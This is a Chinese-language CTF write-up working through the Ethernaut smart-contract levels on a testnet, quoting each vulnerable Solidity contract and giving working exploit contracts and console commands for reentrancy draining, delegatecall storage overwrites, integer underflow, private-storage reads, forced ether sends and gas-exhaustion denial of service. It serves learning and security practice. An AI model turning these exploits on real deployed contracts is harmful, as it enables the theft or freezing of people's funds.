Ethernaut wp 刷区块链题目的平台 ,正好学习一下
METAMASK
remix
0x01 Hello Ethernaut 上面的插件下好之后注册一个账户,确认链接之后切换到Rinkey测试网络
按照题目提示一步步做就是了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 contract.info() contract.info1() contract.info2('hello' ) contract.infoNum() contract.info42() contract.theMethodName() contract.method7123949() contract.password() contract.authenticate('ethernaut0' )
0x02 Fallback 考察知识点,函数调用,不是重入漏洞
you claim ownership of the contract
you reduce its balance to 0
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 pragma solidity ^0.6 .0 ; import '@openzeppelin/contracts/math/SafeMath.sol' ;contract Fallback { using SafeMath for uint256; mapping(address => uint) public contributions; address payable public owner; constructor ( ) public { owner = msg.sender; contributions[msg.sender] = 1000 * (1 ether); } modifier onlyOwner { require ( msg.sender == owner, "caller is not the owner" ); _; } function contribute ( ) public payable { require (msg.value < 0.001 ether); contributions[msg.sender] += msg.value; if (contributions[msg.sender] > contributions[owner]) { owner = msg.sender; } } function getContribution ( ) public view returns (uint ) { return contributions[msg.sender]; } function withdraw ( ) public onlyOwner { owner.transfer(address(this ).balance); } fallback() external payable { require (msg.value > 0 && contributions[msg.sender] > 0 ); owner = msg.sender; } }
多转钱,就能使合约拥有者变成自己
调用fallback函数,绕过验证后也能变成自己,fallback函数在调用Transfer函数的时候会调用
调用withdraw函数,账户清零
1 2 3 4 5 6 contract.contribute({value:1 }) // 要求1 // 保证在执行FallBack函数时,能通过contributions[msg.sender] > 0 的校验contract.sendTransaction({value:1 }) 或者 用MetaMask的发送功能。// 要求1 // 通过转账调用Fallback函数。contract.withdraw() // 要求2 // 转走合约的钱。
0x03 Fallout 使合约拥有者变成自己
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 pragma solidity ^0.6 .0 ; import '@openzeppelin/contracts/math/SafeMath.sol' ;contract Fallout { using SafeMath for uint256; mapping (address => uint) allocations; address payable public owner; function Fal1out ( ) public payable { owner = msg.sender; allocations[owner] = msg.value; } modifier onlyOwner { require ( msg.sender == owner, "caller is not the owner" ); _; } function allocate ( ) public payable { allocations[msg.sender] = allocations[msg.sender].add(msg.value); } function sendAllocation (address payable allocator ) public { require (allocations[allocator] > 0 ); allocator.transfer(allocations[allocator]); } function collectAllocations ( ) public onlyOwner { msg.sender.transfer(address(this ).balance); } function allocatorBalance (address allocator ) public view returns (uint ) { return allocations[allocator]; } }
看了一通代码发现Fallout函数不是构造函数,可以直接调用
0x04 Coin Flip 猜硬币游戏,连续猜对十次
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 pragma solidity ^0.6 .0 ; import '@openzeppelin/contracts/math/SafeMath.sol' ;contract CoinFlip { using SafeMath for uint256; uint256 public consecutiveWins; uint256 lastHash; uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968 ; constructor ( ) public { consecutiveWins = 0 ; } function flip (bool _guess ) public returns (bool ) { uint256 blockValue = uint256(blockhash(block.number.sub(1 ))); if (lastHash == blockValue) { revert(); } lastHash = blockValue; uint256 coinFlip = blockValue.div(FACTOR); bool side = coinFlip == 1 ? true : false ; if (side == _guess) { consecutiveWins++; return true ; } else { consecutiveWins = 0 ; return false ; } } }
主要是随机数安全,但是区块链上所有的数据都是公开的,源码中的
1 uint256 blockValue = uint256 ));
可以通过
1 uint256(blockhash(block .number -1 ));
获得
编写EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 contract Exp{ address public con_addr = 0xcf3Ba6B0681183999D8D053fD7F4E4Fa3340A524 ; CoinFlip c = CoinFlip(con_addr); uint256 public FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968 ; function guess ( ) public { uint256 blockValue = uint256(blockhash(block.number -1 )); uint256 coinFlip = uint256(uint256(blockValue) / FACTOR); bool side = coinFlip == 1 ? true : false ; c.flip(side); } }
本来想写个for循环,编译器提示我gas不足,会导致交易失败,就不了了之
连续点击十次guess
网上找到了一个POC
1 2 3 4 5 6 7 8 9 10 11 let blockHash = function ( ) { return new Promise ( (resolve, reject) => web3.eth.getBlock('latest' , (error, result ) => { if (!error) resolve(result['hash' ]); else reject(error); }) ); } contract.flip(parseInt ((await blockHash())[2 ], 16 ) > 8 )
果然太牛了
0x05 Telephone 考察msg.sender与tx.origin不相同
1 2 3 4 5 6 7 8 9 10 11 12 13 14 contract Telephone { address public owner; constructor ( ) public { owner = msg.sender; } function changeOwner (address _owner ) public { if (tx.origin != msg.sender) { owner = _owner; } } }
部署合约EXP调用Telephone即可
1 2 3 4 5 6 7 8 9 10 11 contract Exp{ address public con_addr = 0x285c2fd96e1582de7fcB314C9e0048B76089936e ; address public _owner = 0xe510Ac7b174D055679d38450c42AD07bC65E0bc9 ; Telephone phone = Telephone(con_addr); function attack ( ) public { phone.changeOwner(_owner); } }
0x06 Token 整数乘法溢出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 pragma solidity ^0.6 .0 ; contract Token { mapping(address => uint) balances; uint public totalSupply; constructor (uint _initialSupply ) public { balances[msg.sender] = totalSupply = _initialSupply; } function transfer (address _to, uint _value ) public returns (bool ) { require (balances[msg.sender] - _value >= 0 ); balances[msg.sender] -= _value; balances[_to] += _value; return true ; } function balanceOf (address _owner ) public view returns (uint balance ) { return balances[_owner]; } }
1 2 3 4 5 6 7 8 9 10 11 12 contract Exp{ address public con_addr = 0xf920AeFe3343D3C8dd9BC4a360e814470300c344 ; address public _owner = 0x63C2F14860D68d75dc2837DBD0D0845294291738 ; uint overvalue = 21 ; Token token = Token(con_addr); function attack ( ) public { token.transfer(_owner,overvalue); } }
0x07 Delegation 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 pragma solidity ^0.6 .0 ; contract Delegate { address public owner; constructor (address _owner ) public { owner = _owner; } function pwn ( ) public { owner = msg.sender; } } contract Delegation { address public owner; Delegate delegate; constructor (address _delegateAddress ) public { delegate = Delegate(_delegateAddress); owner = msg.sender; } fallback() external { (bool result, bytes memory data) = address(delegate).delegatecall(msg.data); if (result) { this ; } } }
这里Delegation
调用了Delegate
合约,在其fallback
函数中 使用了delegatecall
考点在于 Solidity 中支持两种底层调用方式 call
和 delegatecall
call 外部调用时,上下文是外部合约 delegatecall 外部调用时,上下文是调用合约
也就是说通过address(delegate).delegatecall(msg.data);
我们能调用delegate
的任意函数
这里我们发现只要调用delegate
的pwn()
函数就好了
在solidty中可以通过method id(函数选择器)来调用函数
1 contract.sendTransaction({data : web3.utils.sha3("pwn()" ).slice(0 ,10 )})
0X08 Force The goal of this level is to make the balance of the contract greater than zero.
1 2 3 4 5 6 7 8 9 10 11 12 pragma solidity ^0.6 .0 ; contract Force { }
要求合约余额大于零,先试试直接转账
去反编译看代码,啥也没有,fallback没有payable
1 2 3 4 5 6 contract Contract { function main ( ) { memory[0x40 :0x60 ] = 0x80 ; revert(memory[0x00 :0x00 ]); } }
最后想到用合约销毁强制转账的方式
1 2 3 4 5 6 7 8 contract exp{ function exp ( ) public payable {} function exploit (address _target ) public { selfdestruct(_target); } }
记得部署的时候打点钱,或者后面转也可以
0x09 Vault 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 pragma solidity ^0.6 .0 ; contract Vault { bool public locked; bytes32 private password; constructor (bytes32 _password ) public { locked = true ; password = _password; } function unlock (bytes32 _password ) public { if (password == _password) { locked = false ; } } }
定义为私有变量只能组织其他合约访问,但是无法阻止公开访问
按照其代码,可以知道password的存储位置是1
1 web3 .eth .getStorageAt (contract .address , 1)
直接使用
1 contract.unlock("A very strong secret password :\)" )// 密码错误
1 contract .unlock(web3 .utils.hexToBytes('0 x412076657279207374726 f6 e67207365637265742070617373776 f7264203 a29 '))
0x0A King 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 pragma solidity ^0.6 .0 ; contract King { address payable king; uint public prize; address payable public owner; constructor ( ) public payable { owner = msg.sender; king = msg.sender; prize = msg.value; } fallback() external payable { require (msg.value >= prize || msg.sender == owner); king.transfer(msg.value); king = msg.sender; prize = msg.value; } function _king ( ) public view returns (address payable ) { return king; } }
谁发送大于 king 的金额就能成为新的 king,但是要先把之前的国王的钱退回去才能更改 king。只要我们一直不接受退回的奖金,那我们就能够一直保持 king 的身份,那就把合约的fallback函数不弄成payable就能一直不接受了。当然第一步是先成为King
此时King是别人
1 2 3 4 5 6 7 pragma solidity ^0.4 .18 ; contract Attacker{ constructor (address target ) public payable { target.call.gas(1000000 ).value(msg.value)(); } }
给合约转一些钱,是自己成为King,同时不接受退款
0x0B Re-entrancy 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 pragma solidity ^0.6 .0 ; import '@openzeppelin/contracts/math/SafeMath.sol' ;contract Reentrance { using SafeMath for uint256; mapping(address => uint) public balances; function donate (address _to ) public payable { balances[_to] = balances[_to].add(msg.value); } function balanceOf (address _who ) public view returns (uint balance ) { return balances[_who]; } function withdraw (uint _amount ) public { if (balances[msg.sender] >= _amount) { (bool result, bytes memory data) = msg.sender.call.value(_amount)("" ); if (result) { _amount; } balances[msg.sender] -= _amount; } } fallback() external payable {} }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 contract Reenter { Reentrance reentranceContract; uint public amount = 1 ether; constructor (address payable reentranceContactAddress ) public payable { reentranceContract = Reentrance(reentranceContactAddress); } function initiateAttack ( ) public { reentranceContract.donate{value :amount}(address(this )); reentranceContract.withdraw(amount); } fallback() external payable { if (address(reentranceContract).balance >= 0 ) { reentranceContract.withdraw(amount); } } }
0x0C Elevator 直接甩给我们一个可控的接口,题目目标是登顶
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 pragma solidity ^0.6 .0 ; interface Building { function isLastFloor (uint ) external returns (bool ) ; } contract Elevator { bool public top; uint public floor; function goTo (uint _floor ) public { Building building = Building(msg.sender); if (! building.isLastFloor(_floor)) { floor = _floor; top = building.isLastFloor(floor); } } }
想要登顶,需要top=true,就需要我们在
1 2 top = building.isLastFloor(floor); if (! building.isLastFloor(_floor))
也就是说,我们需要对isLastFloor()函数进行操作,题目在声明 isLastFloor
时,赋予了 view 属性,view 表示函数会读取合约变量,但是不会修改任何合约的状态,再看看题目提示
1 Sometimes solidity is not good at keeping promises.
查找了一些资料之后,发现当前 Solidity
编译器没有强制执行 view 函数不能修改状态,所以上述做法就是可行的
1 2 3 4 5 6 7 8 9 10 11 12 13 contract exp { address to = 0 x62515F83C91cDF26b8014e1c3f48Da3F4B5106cD; //修改成你的合约地址 Elevator exp = Elevator(to ); bool public flag = true ; function isLastFloor ( uint) public returns (bool){ flag = !flag; return flag; } function exploit ( ) public { exp .goTo(123 ); } }
0x0D Privacy 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 pragma solidity ^0.6 .0 ; contract Privacy { bool public locked = true ; uint256 public ID = block.timestamp; uint8 private flattening = 10 ; uint8 private denomination = 255 ; uint16 private awkwardness = uint16(now); bytes32[3 ] private data; constructor (bytes32[3 ] memory _data ) public { data = _data; } function unlock (bytes16 _key ) public { require (_key == bytes16(data[2 ])); locked = false ; } }
之前 Vault
题目的升级版,还是一样,用 getStorageAt()
把链上的数据读出来
1 2 3 4 5 6 7 8 9 10 11 12 13 web3.eth.getStorageAt(contract.address,0 ) web3.eth.getStorageAt(contract.address,1 ) web3.eth.getStorageAt(contract.address,2 ) web3.eth.getStorageAt(contract.address,3 ) web3.eth.getStorageAt(contract.address,4 ) web3.eth.getStorageAt(contract.address,5 )
byte16强制转换,所以我们取data[2]的前十六位
1 contract .unlock('0 xe9 b3 f125 a9345010284752 e33195 e9 ee')
0x0E Gatekeeper One Make it past the gatekeeper and register as an entrant to pass this level.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 pragma solidity ^0.6 .0 ; import '@openzeppelin/contracts/math/SafeMath.sol' ;contract GatekeeperOne { using SafeMath for uint256; address public entrant; modifier gateOne ( ) { require (msg.sender != tx.origin); _; } modifier gateTwo ( ) { require (gasleft().mod(8191 ) == 0 ); _; } modifier gateThree (bytes8 _gateKey ) { require (uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one" ); require (uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two" ); require (uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three" ); _; } function enter (bytes8 _gateKey ) public gateOne gateTwo gateThree (_gateKey ) returns (bool ) { entrant = tx.origin; return true ; } }
要求我们分别满足三个gate函数
1 gataOne // 通过第三方合约调用 enter 即可gataTwo //m sg.gas % 8191 == 0 gataThree // 数据类型转换规则的考察
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 // 数字 与 数字uint8 -> uint16 // 值不变 其他小单位转大单位同理uint16 -> uint8 // 导致溢出,转换后的结果为原变量 mod 256 其他大单位转小单位同理 // bytes 与 bytesbytes8 -> bytes16 // 后面补零 其他小单位转大单位同理// 0 xaaaaaaaaaaaaaaaa -> 0 xaaaaaaaaaaaaaaaa0000000000000000bytes16 -> bytes8 // 取前面的位数 其他大单位转小单位同理// 0 xaaaaaaaaaaaaaaaa0000000000000000 -> 0 xaaaaaaaaaaaaaaaa // address 与 bytes、uintaddress -> uint // 根据 uint 的具体单位,将地址从尾端开始截取对应长度// 如地址0 x0DCd2F752394c41875e259e00bb44fd505297caF,转为 uint8 为取最后1 字节 0 xafaddress -> bytes // 根据 bytes 的具体单位,从前截取对应长度// 0 x08970FEd061E7747CD9a38d680A601510CB659FB -> 0 x80a601510cb659fb (bytes8)uint/bytes 转 address // uint 转为 hex,bytes不变,从后填充// uint8 -> address 0 x123 -> 0 x0000000000000000000000000000000000000123// bytes8 -> address 0 x80a601510cb659fb -> 0 x00000000000000000000000080A601510cB659FB
这个复现失败了,Gas在链上没有调试出来,后来找到一篇文章
1 2 3 4 5 6 7 8 9 10 11 12 contract Attack { address instance_address =0xc97fBFaC4734868B2f54CD54308e0733a5FBcfD4 ; bytes8 _gateKey = bytes8(tx.origin) & 0xFFFFFFFF0000FFFF ; GatekeeperOne target = GatekeeperOne(instance_address); function hack ( ) public { target.call.gas(999999 )(bytes4(keccak256("enter(bytes8)" )), _gateKey); } }
1 0x5b4f043f1da6a0acb14405618d4b66b6c38ecd35546084c94fc6d78791ba9a37
0x0F Gatekeeper Two 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 pragma solidity ^0.6 .0 ; contract GatekeeperTwo { address public entrant; modifier gateOne ( ) { require (msg.sender != tx.origin); _; } modifier gateTwo ( ) { uint x; assembly { x := extcodesize(caller()) } require (x == 0 ); _; } modifier gateThree (bytes8 _gateKey ) { require (uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0 ) - 1 ); _; } function enter (bytes8 _gateKey ) public gateOne gateTwo gateThree (_gateKey ) returns (bool ) { entrant = tx.origin; return true ; } }
和One一样需要绕过三个条件限制
第一个限制不必多说
第二个限制,这里使用的是内联汇编来获取调用方(caller)的代码大小,需要我们的合约代码大小为零。就想到在构造函数里面去调用受害合约,此时我们的合约正在初始化,代码大小就为零了
第三个就是利用异或的特性
1 2 3 4 5 6 7 8 contract Hack { function Hack (address _c ) public { GatekeeperTwo exp = GatekeeperTwo(_c); bytes8 _gateKey = bytes8((uint64(0 ) -1 ) ^ uint64(bytes8(keccak256(this )))); exp.call(bytes4(keccak256("enter(bytes8)" )),_gateKey); } }
0x10 Naught Coin 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 pragma solidity ^0.6 .0 ; import '@openzeppelin/contracts/token/ERC20/ERC20.sol' ; contract NaughtCoin is ERC20 { uint public timeLock = now + 10 * 365 days; uint256 public INITIAL_SUPPLY; address public player; constructor (address _player ) ERC20 ('NaughtCoin' , '0x0' ) public { player = _player; INITIAL_SUPPLY = 1000000 * (10 **uint256(decimals())); _mint(player, INITIAL_SUPPLY); emit Transfer(address(0 ), player, INITIAL_SUPPLY); } function transfer (address _to, uint256 _value ) override public lockTokens returns (bool ) { super .transfer(_to, _value); } modifier lockTokens ( ) { if (msg.sender == player) { require (now > timeLock); _; } else { _; } } }
classic blance to 0
看合约代码知道设置了lockTokens修饰词对transfer函数加以验证,同时transfer函数也对ERC720合约中的transfer函数进行了重写。同时意识到ERC720有两个转账函数,一个是 transfer 还有一个是 transferFrom,这里只重写了一个,意味着另一个可以被直接调用。跟踪了一下,发现transferFrom 需要先经过 approve 批准才能使用
1 2 3 4 5 6 7 8 9 10 11 12 13 function transferFrom (TokenStorage storage self, address _from, address _to, uint _value ) returns (bool success ) { var _allowance = self.allowed[_from][msg.sender]; self.balances[_to] = self.balances[_to].plus(_value); self.balances[_from] = self.balances[_from].minus(_value); self.allowed[_from][msg.sender] = _allowance.minus(_value); Transfer(_from, _to, _value); return true ; } function approve (TokenStorage storage self, address _spender, uint _value ) returns (bool success ) { self.allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true ; }
第一步先看有多少钱,才知道能授权多少
1 2 3 contract.approve(player,to Wei('1000000') ) contract.transferFrom(player ,contract .address ,toWei ('1000000') )
0x11 Preservation 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 pragma solidity ^0.6 .0 ; contract Preservation { address public timeZone1Library; address public timeZone2Library; address public owner; uint storedTime; bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)" )); constructor (address _timeZone1LibraryAddress, address _timeZone2LibraryAddress ) public { timeZone1Library = _timeZone1LibraryAddress; timeZone2Library = _timeZone2LibraryAddress; owner = msg.sender; } function setFirstTime (uint _timeStamp ) public { timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp)); } function setSecondTime (uint _timeStamp ) public { timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp)); } } contract LibraryContract { uint storedTime; function setTime (uint _time ) public { storedTime = _time; } }
delegateCall函数
区别在于 delegatecall
仅使用给定地址的代码,其它信息则使用当前合约(如存储,余额等等)。delegateCall
方法仅仅使用目标合约的代码, 其余的 storage
等数据均使用自己的,这就使得某些访存操作会错误的处理对象
看到一个师傅分析的例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 contract A{ uint public x1; uint public x2; function funca (address param ) { param.delegatecall(bytes4(keccak256("funcb()" ))); } } contract B{ uint public y1; uint public y2; function funcb ( ) { y1=1 ; y2=2 ; } }
在上述合约中,一旦在a中调用了b的funcb函数,那么对应的a中 x1就会等于y1,x2就会等于 2。 在这个过程中实际b合约的funcb函数把storage里面的slot 1的值更换为了1,把slot 2的值更换为了 2,那么由于delegatecall的原因这里修改的是a的storage,对应就是修改了 x1,x2。可以实现变量覆盖
那么这个题就很好办了,我们调用Preservation的setFirstTime函数时候实际通过delegatecall 执行了LibraryContract的setTime函数,修改了slot 1,也就是修改了timeZone1Library变量。 这样,我们第一次调用setFirstTime将timeZone1Library变量修改为我们的恶意合约的地址,第二次调用setFirstTime就可以执行我们的任意代码了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 contract attack { address public timeZone1Library; address public timeZone2Library; address public owner; address instance_address = 0x7cec052e622c0fb68ca3b2e3c899b8bf8b78663c ; Preservation target = Preservation(instance_address); function attack1 () { target.setFirstTime(uint (address(this))); } function attack2 () { target.setFirstTime(uint (0x88d3052d12527f1fbe3a6e1444ea72c4ddb396c2 )); } function setTime (uint _time) public { timeZone1Library = address(_time); timeZone2Library = address(_time); owner = address(_time); } }
0x12 Recovery 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 pragma solidity ^0.6 .0 ; import '@openzeppelin/contracts/math/SafeMath.sol' ;contract Recovery { function generateToken (string memory _name, uint256 _initialSupply ) public { new SimpleToken(_name, msg.sender, _initialSupply); } } contract SimpleToken { using SafeMath for uint256; string public name; mapping (address => uint) public balances; constructor (string memory _name, address _creator, uint256 _initialSupply ) public { name = _name; balances[_creator] = _initialSupply; } fallback() external payable { balances[msg.sender] = msg.value.mul(10 ); } function transfer (address _to, uint _amount ) public { require (balances[msg.sender] >= _amount); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = _amount; } function destroy (address payable _to ) public { selfdestruct(_to); } }
要求我们移除,或转移指定合约上面的钱,其实简单来说就是已知一个 Recovery
合约地址,恢复一下它创建的 SimpleToken
地址,然后将 0.5 eth
从丢失地址的合约中提出即可
在metamask上拿到交易hash,再去浏览器上面查询
从而得到丢失合约的地址,就可编写poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 pragma solidity ^0.4 .23 ; contract SimpleToken { string public name; mapping (address => uint) public balances; function ( ) public payable ; function transfer (address _to, uint _amount ) public ; function destroy (address _to ) public ; } contract RecoveryPoc { SimpleToken target; constructor (address _addr ) public { target = SimpleToken(_addr); } function attack ( ) public { target.destroy(tx.origin); } }
0x13 MagicNumber 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 pragma solidity ^0.6 .0 ; contract MagicNum { address public solver; constructor ( ) public {} function setSolver (address _solver ) public { solver = _solver; } }
参考
1 2 3 bytecode = "0x600a600c600039600a6000f3602a60805260206080f3" ; web3.eth.sendTransaction({from :player,data :bytecode}) await contract.setSolver('address' )
0x14 Alien Codex 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 pragma solidity ^0.5 .0 ; import '../helpers/Ownable-05.sol' ;contract AlienCodex is Ownable { bool public contact; bytes32[] public codex; modifier contacted ( ) { assert(contact); _; } function make_contact ( ) public { contact = true ; } function record (bytes32 _content ) contacted public { codex.push(_content); } function retract ( ) contacted public { codex.length--; } function revise (uint i, bytes32 _content ) contacted public { codex[i] = _content; } }
合约开头引入了Ownable合约 ,同时也引入了一个 owner
变量
1 2 3 await web3.eth.getStorageAt(instance, 0 , function (x, y ) {console .info(y)});
codex储存的位置是从slot1同时这里也是储存数组长度的地方,而 codex 的实际内容存储在 keccak256(bytes32(1))
开始的位置,EVM的储存方式是
1 2 3 array[array_slot_index] == SLOAD(keccak256(slot(array)) + slot_index) codex[0 ] =eb3.eth.getStorageAt(contract.address,keccak_256(byte32(1 ))
也就是说我们对codex[0]进行偏移,就能得到codex[y]=slot0,也就能达到修改slot0的目的
1 contract.revise('0x4ef1d2ad89edf8c4d91132028e8195cdf30bb4b5053d4f8cd260341d4805f30a' ,'0x000000000000000000000001e510Ac7b174D055679d38450c42AD07bC65E0bc9' )
但是再次之前,我们需要绕过修饰关键词contacted的限制,也就是需要使contact = true,那就是调用make_contact() 函数,此时我们想要读取到codex[y],slot1存储的数组长度大于y,很显然 retract()函数能帮助我们进行下溢。record或者也可以一直调用record,在第y次时传入正确的参数
1 2 3 4 5 6 7 8 9 10 11 12 contract.retract() // codex.length--await web3.eth.getStorageAt(contract.address, 1 ) // codex.length// 0 xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffawait contract.owner() // "0x73048cec9010e92c298b016966bde1cc47299df5" contract.revise('0x4ef1d2ad89edf8c4d91132028e8195cdf30bb4b5053d4f8cd260341d4805f30a' ,"0x000000000000000000000001+Player address" ) // 调用 revise()await contract.owner() // Player address// Submit instance
0x15 Denial 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 // SPDX-License-Identifier: MIT pragma solidity ^0.6 .0 ; import '@openzeppelin/contracts/math/SafeMath.sol' ;contract Denial { using SafeMath for uint256; address public partner; // withdrawal partner - pay the gas, split the withdraw address payable public constant owner = address(0xA9E ); uint timeLastWithdrawn; mapping (address => uint) withdrawPartnerBalances; // keep track of partners balances function setWithdrawPartner(address _partner) public { partner = _partner; } // withdraw 1 % to recipient and 1 % to owner function withdraw() public { uint amountToSend = address(this).balance.div(100 ); // perform a call without checking return // The recipient can revert, the owner will still get their share partner.call .value (amountToSend)(""); owner .transfer(amountToSend); // keep track of last withdrawal time timeLastWithdrawn = now; withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add (amountToSend); } // allow deposit of funds fallback() external payable {} // convenience function function contractBalance() public view returns (uint) { return address(this).balance; } }
要求我们让其他人无法提款。分析一下合约
从合约的代码中我们很容易发现这里存在一个重入漏洞,所以可以通过部署了一个利用重入漏洞的合约,把gas直接消耗光,那么owner 自然收不到钱了,从而造成DOS。
1 2 3 4 5 6 7 8 9 10 11 12 13 contract Attack{ address instance_address = instance_address_here; Denial target = Denial(instance_address); function hack ( ) public { target.setWithdrawPartner(address(this )); target.withdraw(); } function ( ) payable public { target.withdraw(); } }
或者assert 函数触发异常之后会消耗所有可用的 gas,消耗了所有的 gas 那就没法转账了
1 2 3 4 5 6 7 8 9 10 11 contract Attack{ address instance_address = instance_address_here; Denial target = Denial(instance_address); function hack() public { target .setWithdrawPartner(address(this)); target .withdraw(); } function () payable public { assert (0 ==1 ); } }
0x16 Shop 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 pragma solidity ^0.6 .0 ; interface Buyer { function price ( ) external view returns (uint ) ; } contract Shop { uint public price = 100 ; bool public isSold; function buy ( ) public { Buyer _buyer = Buyer(msg.sender); if (_buyer.price.gas(3000 )() >= price && !isSold) { isSold = true ; price = _buyer.price.gas(3000 )(); } } }
题目要求少于指定价格得到商品,price<100
发现 isSold
是 public
属性,所以可以利用 isSold
,根据 isSold
进行判断,两次调用 _buyer.price.gas(3000)()
第一次返回大于等于 100
,第二次返回小于 100
即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 pragma solidity ^0.8 .0 ; contract AttackShop { function buy ( ) public { assembly { mstore(0x20 , 0xa6f2ae3a00000000000000000000000000000000000000000000000000000000 ) let success := call(100000 , 0x81204a9d43123Df65D6089f4bF7493E43c1868b9 , 0 , 0x20 , 0x04 , 0x00 , 0x00 ) if iszero (success ) { revert(0 , 0 ) } return (0 , 0x0 ) } } }
0x17 Dex 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 pragma solidity ^0.6 .0 ; import "@openzeppelin/contracts/token/ERC20/IERC20.sol" ;import "@openzeppelin/contracts/token/ERC20/ERC20.sol" ;import '@openzeppelin/contracts/math/SafeMath.sol' ;contract Dex { using SafeMath for uint; address public token1; address public token2; constructor (address _token1, address _token2 ) public { token1 = _token1; token2 = _token2; } function swap (address from , address to, uint amount ) public { require (IERC20(from ).balanceOf(msg.sender) >= amount, "Not enough to swap" ); uint swap_amount = get_swap_price(from , to, amount); IERC20(from ).transferFrom(msg.sender, address(this ), amount); IERC20(to).approve(address(this ), swap_amount); IERC20(to).transferFrom(address(this ), msg.sender, swap_amount); } function add_liquidity (address token_address, uint amount ) public { IERC20(token_address).transferFrom(msg.sender, address(this ), amount); } function get_swap_price (address from , address to, uint amount ) public view returns (uint ) { return ((amount * IERC20(to).balanceOf(address(this )))/IERC20(from ).balanceOf(address(this ))); } function approve (address spender, uint amount ) public { SwappableToken(token1).approve(msg.sender, spender, amount); SwappableToken(token2).approve(msg.sender, spender, amount); } function balanceOf (address token, address account ) public view returns (uint ) { return IERC20(token).balanceOf(account); } } contract SwappableToken is ERC20 { constructor (string memory name, string memory symbol, uint initialSupply ) public ERC20 (name, symbol ) { _mint(msg.sender, initialSupply); } function approve (address owner, address spender, uint amount ) public returns (bool ) { super ._approve(owner, spender, amount); } }
对不起这道题还得做一段时间,如果做出来了再更新吧